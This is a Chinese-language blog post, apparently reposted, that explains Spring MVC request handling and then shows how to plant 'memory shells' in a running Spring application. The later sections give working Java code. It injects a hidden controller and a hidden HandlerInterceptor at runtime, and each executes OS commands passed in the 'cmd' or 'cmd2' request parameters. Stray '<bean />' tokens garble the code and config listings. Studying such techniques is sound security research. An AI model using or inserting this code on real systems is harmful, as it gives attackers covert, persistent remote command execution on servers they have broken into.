Spring内存马
目录
1、Spring&Spring MVC简介
Spring框架是一个开源的Java应用框架,它提供了一个综合的基础设施,用于构建Java应用步伐。Spring框架的重要技术包括:
- 依赖注入(Dependency Injection)** :Spring框架通过依赖注入来管理组件之间的依赖关系。 这种方式使得组件之间的耦合度低沉,更易于测试和维护。
- 面向切面编程(Aspect-Oriented Programming,AOP)** :Spring框架支持AOP,允许开辟人员将横切关注点(如日志记录、性能监控等)从核心业务逻辑中分离出来,提高了代码的模块化和可维护性。
- 数据访问 :Spring框架提供了对各种数据访问技术的支持,包括JDBC、ORM框架(如Hibernate、MyBatis)、JPA等。
- 事件管理 :Spring框架提供了强盛的事件管理功能,可以通过声明式事件管理或编程式事件管理来管理事件。
Spring MVC是Spring框架中的一个模块,基于MVC(Model-View-Controller)设计模式,将应用步伐分为模型(Model)、视图(View)和控制器(Controller)三个部分,以实现分离关注点和更好的代码组织。
SpringMVC中的常用组件:
- DispatcherServlet:前端控制器,同一处理请求和响应,整个流程控制的中心,由它调用别的组件处理用户的请求
- Handler:处理器,在DispatcherServlet的控制下Handler对具体的用户请求进行处理
- HandlerMapping:处理器映射器,根据请求的url、method等信息查找Handler,即控制器方法
- HandlerAdapter:处理器适配器,通过HandlerAdapter对处理器(控制器方法)进行执行
- View:视图,将模型数据通过页面展示给用户
- ViewResolver:视图剖析器,进行视图剖析,得到相应的视图,例如ThymeleafView
SpringMVC执行流程大抵如下:
- 用户发起请求: 用户通过浏览器或其他客户端向服务器发送HTTP请求。
- DispatcherServlet拦截请求: 请求被服务器接收后,DispatcherServlet拦截到该请求。
- HandlerInterceptor的preHandle方法(preHandler)执行: 在DispatcherServlet确定处理器之前,会先执行所有配置的HandlerInterceptor的preHandle方法。HandlerInterceptor是Spring MVC提供的拦截器接口,它可以在请求处理之前、请求处理之后和视图渲染之后执行一些自定义的逻辑。在preHandle方法中,可以进行一些预处理操作,例如权限验证、日志记录等。
- HandlerMapping确定处理器: DispatcherServlet通过HandlerMapping来确定请求的处理器(Handler),HandlerMapping将请求映射到相应的Controller类的方法上。
- Controller处理请求: 一旦确定了处理器,DispatcherServlet就会调用相应的Controller类的方法来处理请求。Controller方法执行业务逻辑,并返回一个ModelAndView对象。
- HandlerInterceptor的postHandle方法(postHandler)执行: 在Controller方法执行完毕而且视图渲染之前,会执行所有配置的HandlerInterceptor的postHandle方法。在postHandle方法中,可以对Controller处理结果进行一些处理,例如添加一些公共的模型数据、记录响应时间等。
- ModelAndView包含数据和视图信息: Controller方法执行完毕后,会返回一个ModelAndView对象,其中包含了处理结果数据以及要显示的视图的信息。
- 视图剖析器剖析视图: DispatcherServlet将ModelAndView中的视图名交给视图剖析器(ViewResolver)来剖析成实际的视图对象。
- 视图渲染: 视图对象负责将模型数据渲染到客户端,最终生成HTML等内容返回给客户端。
2、环境搭建
Tomcat版本为9.0.80,SpringMVC版本为5.3.1,依赖如下:- <dependencies>
- <bean />
- <bean /><dependency>
- <bean /> <bean /><groupId>org.springframework</groupId>
- <bean /> <bean /><artifactId>spring-webmvc</artifactId>
- <bean /> <bean /><version>5.3.1</version>
- <bean /></dependency>
- <bean />
- <bean /><dependency>
- <bean /> <bean /><groupId>ch.qos.logback</groupId>
- <bean /> <bean /><artifactId>logback-classic</artifactId>
- <bean /> <bean /><version>1.2.3</version>
- <bean /></dependency>
- <bean />
- <bean /><dependency>
- <bean /> <bean /><groupId>javax.servlet</groupId>
- <bean /> <bean /><artifactId>javax.servlet-api</artifactId>
- <bean /> <bean /><version>3.1.0</version>
- <bean /> <bean /><scope>provided</scope>
- <bean /></dependency>
- <bean />
- <bean /><dependency>
- <bean /> <bean /><groupId>org.thymeleaf</groupId>
- <bean /> <bean /><artifactId>thymeleaf-spring5</artifactId>
- <bean /> <bean /><version>3.0.12.RELEASE</version>
- <bean /></dependency>
- <bean /><dependency>
- <bean /> <bean /><groupId>javax.servlet</groupId>
- <bean /> <bean /><artifactId>javax.servlet-api</artifactId>
- <bean /> <bean /><version>4.0.1</version>
- <bean /> <bean /><scope>provided</scope>
- <bean /></dependency>
- <bean /><dependency>
- <bean /> <bean /><groupId>org.junit.jupiter</groupId>
- <bean /> <bean /><artifactId>junit-jupiter-api</artifactId>
- <bean /> <bean /><version>${junit.version}</version>
- <bean /> <bean /><scope>test</scope>
- <bean /></dependency>
- <bean /><dependency>
- <bean /> <bean /><groupId>org.junit.jupiter</groupId>
- <bean /> <bean /><artifactId>junit-jupiter-engine</artifactId>
- <bean /> <bean /><version>${junit.version}</version>
- <bean /> <bean /><scope>test</scope>
- <bean /></dependency>
- </dependencies>
复制代码 web.xml文件如下:- <?xml version="1.0" encoding="UTF-8"?>
- <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
- <bean /> <bean /> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- <bean /> <bean /> xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
- <bean /> <bean /> version="4.0">
- <bean />
- <bean /><servlet>
- <bean /> <bean /><servlet-name>springmvc</servlet-name>
- <bean /> <bean /><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
- <bean /> <bean /><init-param>
- <bean /> <bean /> <bean /><param-name>contextConfigLocation</param-name>
- <bean /> <bean /> <bean /><param-value>classpath:/springmvc.xml</param-value>
- <bean /> <bean /></init-param>
- <bean /> <bean /><load-on-startup>1</load-on-startup>
- <bean /></servlet>
- <bean /><servlet-mapping>
- <bean /> <bean /><servlet-name>springmvc</servlet-name>
- <bean /> <bean /><url-pattern>/</url-pattern>
- <bean /></servlet-mapping>
- </web-app>
复制代码 Springmvc.xmlt配置文件如下:- <?xml version="1.0" encoding="UTF-8"?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- <bean /> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- <bean /> xmlns:context="http://www.springframework.org/schema/context"
- <bean /> xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
- <bean /> <bean />
- <bean /><context:component-scan base-package="com.example.springmshell.controller"></context:component-scan>
- <bean />
- <bean /><bean id="viewResolver"
- <bean /> <bean /> >
- <bean /> <bean /><property name="order" value="1"/>
- <bean /> <bean /><property name="characterEncoding" value="UTF-8"/>
- <bean /> <bean /><property name="templateEngine">
- <bean /> <bean /> <bean /><bean >
- <bean /> <bean /> <bean /> <bean /><property name="templateResolver">
- <bean /> <bean /> <bean /> <bean /> <bean /><bean
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean /> <bean />>
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean />
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean /><property name="prefix" value="/WEB-INF/templates/"/>
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean />
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean /><property name="suffix" value=".html"/>
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean /><property name="templateMode" value="HTML5"/>
- <bean /> <bean /> <bean /> <bean /> <bean /> <bean /><property name="characterEncoding" value="UTF-8" />
- <bean /> <bean /> <bean /> <bean /> <bean /></bean>
- <bean /> <bean /> <bean /> <bean /></property>
- <bean /> <bean /> <bean /></bean>
- <bean /> <bean /></property>
- <bean /></bean>
- </beans>
复制代码 创建Controller;- @Controller
- public class HelloController {
- <bean />@RequestMapping("/")
- <bean />public String hello(){
- <bean /> <bean />return "index";
- <bean />}
- }
复制代码 启tomcat并成功跳转到classpath/WEB-INF/templates/index.html则成功;
3、Controller内存马
断点位置:
方法调用栈大抵如下:
DispatcherServlet本质上是一个 Servlet,遵循 Servlet 的生命周期。以是宏观上是 Servlet 生命周期来进行调理;下面是继承实现图:
以是在方法调用栈中可以看到先从HttpServlet#service方法开始,一路调用到DispatcherServlet的doService方法;以是将断点下到doService方法;
来到doDispatch方法,跟进;
执行完getHandler(processedRequest)函数后就已经找到了必要处理请求对应的处理器和处理器方法,以是跟进,看怎么找到的;
故继续跟进到mapping.getHandler(request)
这里先看一下MappingRegisty:
MappingRegistry是 AbstractHandlerMethodMapping类的内部类,它的作用大抵如下:
- 注册映射关系: 它提供了方法用于注册请求路径与处理器方法之间的映射关系。 当一个新的处理器方法被添加到 MappingRegistry中时,它会将请求路径与该方法建立映射关系。
- 查找映射关系: 它提供了方法用于查找请求路径对应的处理器方法。当DispatcherServlet接收到一个请求时,它会调用MappingRegistry的方法来查找请求路径对应的处理器方法。
- 处理映射冲突: 假如多个处理器方法都匹配了同一个请求路径, MappingRegistry会处理这种映射冲突。 它可能会根据一些策略来确定最终选择哪个处理器方法。
- 维护映射关系: MappingRegistry还负责维护请求路径与处理器方法之间的映射关系的一致性。例如,在动态注册或取消注册处理器方法时,它会相应地更新映射关系。
先回来,跟进lookupHandlerMethod方法;
这段代码的大抵意思就是根据请求实验从直接路径匹配中获取处理器方法。假如直接路径匹配未找到匹配的处理器方法,则遍历所有注册的路径,将匹配的处理器方法添加到 matches 列表中。接着,它选择最佳匹配的处理器方法,并处理匹配结果。假如没有匹配到处理器方法,则处理无匹配的情况。
当前请求为/,那么能够找到对应的处理器方法,接下来再看看addMatchingMappings;
这里就会获取匹配的处理器方法而且生存了;
跟到这里自然想到,HandlerMethod是在下面的方法中获取的,首先查察这个方法;
发现是MappingRegistry(这是个内部类)中的一个final属性;
可以直接从registry下手,这里先跟进getHandlerMethod,跟进;发现构造器中传递了这个参数,那看哪些方法调用了这个构造器;
发现register方法中调用了这个构造器。看哪里调用了register;
发现registerMapping和registerHandlerMethod方法中调用了这个方法;再分别查察这两个方法被谁调用了(目前还在抽象类中);
最终发现在其实现类RequestMappingHandlerMapping中调用了;
跟到这里发现,只要调用mappingRegistry.register()或RequestMappingHandlerMapping中的registerMapping方法(本质上也是调用mappingRegistry.register()),那么就可以向mappingRegistry中添加HandlerMethod,从而注册内存马;
查察registerMapping方法如下:- @Override
- public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
- <bean />super.registerMapping(mapping, handler, method);
- <bean />updateConsumesCondition(mapping, method);
- }
复制代码
- mapping:表现请求映射信息,包括了请求路径、请求方法、请求参数、请求头等信息,它是 RequestMappingInfo类型的对象。
- handler:表现处理器对象,通常是一个Controller类的实例,用于处理具体的请求。
- method:表现处理器方法,即处理器对象中用于处理具体请求的方法
再看看RequestMappingInfo的结构;它实现了 RequestCondition接口,用于封装请求的各种条件,包括请求路径、请求方法、请求参数、请求头等信息。重要参数如下:
- patternsCondition:用于表现请求路径的条件,即请求的URL路径。 可以包含多个路径模式,用于匹配多个URL。
- methodsCondition:用于表现请求方法的条件,即请求的HTTP方法(GET、POST等)。
- paramsCondition:用于表现请求参数的条件,即请求中携带的参数。
- headersCondition:用于表现请求头的条件,即请求中携带的头信息。
其中对我们比较重要的是patternsCondition和methodsCondition,有了这个两个参数,在找到了Controller之后就可以根据请求方法和路径匹配到具体处理请求的方法;
PatternsRequestCondition的构造器如下,表现可以传入多个匹配路径;
RequestMethodsRequestCondition构造器如下,表现可以传入多种请求方式;假如传入的requestMethods数组为空或为null,那么将methods属性设置为空的不可变集合Collections.emptySet()。表现该RequestMethodsRequestCondition对象不限制任何请求方法,即匹配所有请求方法:
registerMapping调用如下:- PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/hack");
- RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
- RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);
- //恶意类实例
- HelloController helloController = new HelloController();
- //指定方法
- Method hello = HelloController.class.getMethod("hello");
- requestMappingHandlerMapping.registerMapping(requestMappingInfo,helloController,hello);
复制代码 那么这个RequestMappingHandlerMapping对象就从SpringMVC容器WebApplicationContext中获取就好(注意,这里是大坑,但是先把代码写出来,背面再解释);
完整代码如下:- public class Evil {
- <bean />public void cmd(){
- <bean /> <bean />HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
- <bean /> <bean />HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
- <bean /> <bean />String command=request.getParameter("cmd");
- <bean /> <bean />if (command!=null){
- <bean /> <bean /> <bean />try {
- <bean /> <bean /> <bean /> <bean />Runtime.getRuntime().exec(command);
- <bean /> <bean /> <bean />} catch (IOException e) {
- <bean /> <bean /> <bean /> <bean />throw new RuntimeException(e);
- <bean /> <bean /> <bean />}
- <bean /> <bean />}else {
- <bean /> <bean /> <bean />return;
- <bean /> <bean />}
- <bean />}
- }
复制代码- @RestController
- public class HackController {
- <bean />@RequestMapping("/hack")
- <bean />public String registerController() throws Exception {
- <bean /> <bean />WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
- <bean /> <bean />RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
- <bean /> <bean />PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/k1na");
- <bean /> <bean />RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
- <bean /> <bean />RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);
- <bean /> <bean />Evil evil = new Evil();
- <bean /> <bean />Method cmd = Evil.class.getMethod("cmd");
- <bean /> <bean />requestMappingHandlerMapping.registerMapping(requestMappingInfo,evil,cmd);
- <bean /> <bean />return "Evil has been registered";
- <bean />}
- }
复制代码

4、踩坑日记
在获取了WebApplicationContext容器之后试图获取其中的Bean,RequestMappingHandlerMapping对象;
此时发现无论怎样都获取不了,容器里根本没有这个Bean;但是步伐的功能又一切正常;在经过debug的时候发现,假如按照这种项目结构,RequestMappingHandlerMapping原来就不归SpringMVC容器管理,因为它是被默认放到DispatcherServler中的;
假如在web.xml中配置了DispatcherServlet,而且部署应用步伐到Tomcat容器中,那么Tomcat将是管理DispatcherServlet的容器。
此时一个比较方便的办理办法就是在springmvc.xml配置文件中注入一个RequestMappingHandlerMapping对象;
或许可以使用Tomcat容器来获取DispatcherServlet,从而反射获取RequestMappingHandlerMapping,但是还要导入Tomcat核心库,以为贫苦;
具体debug过程如下:
发现初始化方法initHandlerMappings
5、Interceptor内存马
Interceptor内存马相比之下比较简单,同样也是利用RequestMappingHandlerMapping;使用其父类AbstractHandlerMapping继承给它的属性adaptedInterceptors进行注册就好,懒得分析了,累了;
代码如下:- <bean />@RequestMapping("/hack2") <bean />public String registerInterceptor() throws Exception { <bean /> <bean />WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); <bean /> <bean />RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); <bean /> <bean />Field adaptInterceptor = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); <bean /> <bean />adaptInterceptor.setAccessible(true); <bean /> <bean />List list= (List) adaptInterceptor.get(requestMappingHandlerMapping); <bean /> <bean />list.add(new HackInterceptor()); <bean /> <bean />return "registerInterceptor success!"; <bean />}
复制代码- package com.example.springmshell.controller;import org.aopalliance.intercept.Interceptor;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class HackInterceptor implements HandlerInterceptor { <bean />@Override <bean />public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { <bean /> <bean />if (request.getParameter("cmd2")!=null){ <bean /> <bean /> <bean />Runtime.getRuntime().exec(request.getParameter("cmd2")); <bean /> <bean />} <bean /> <bean />return true; <bean />}}
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |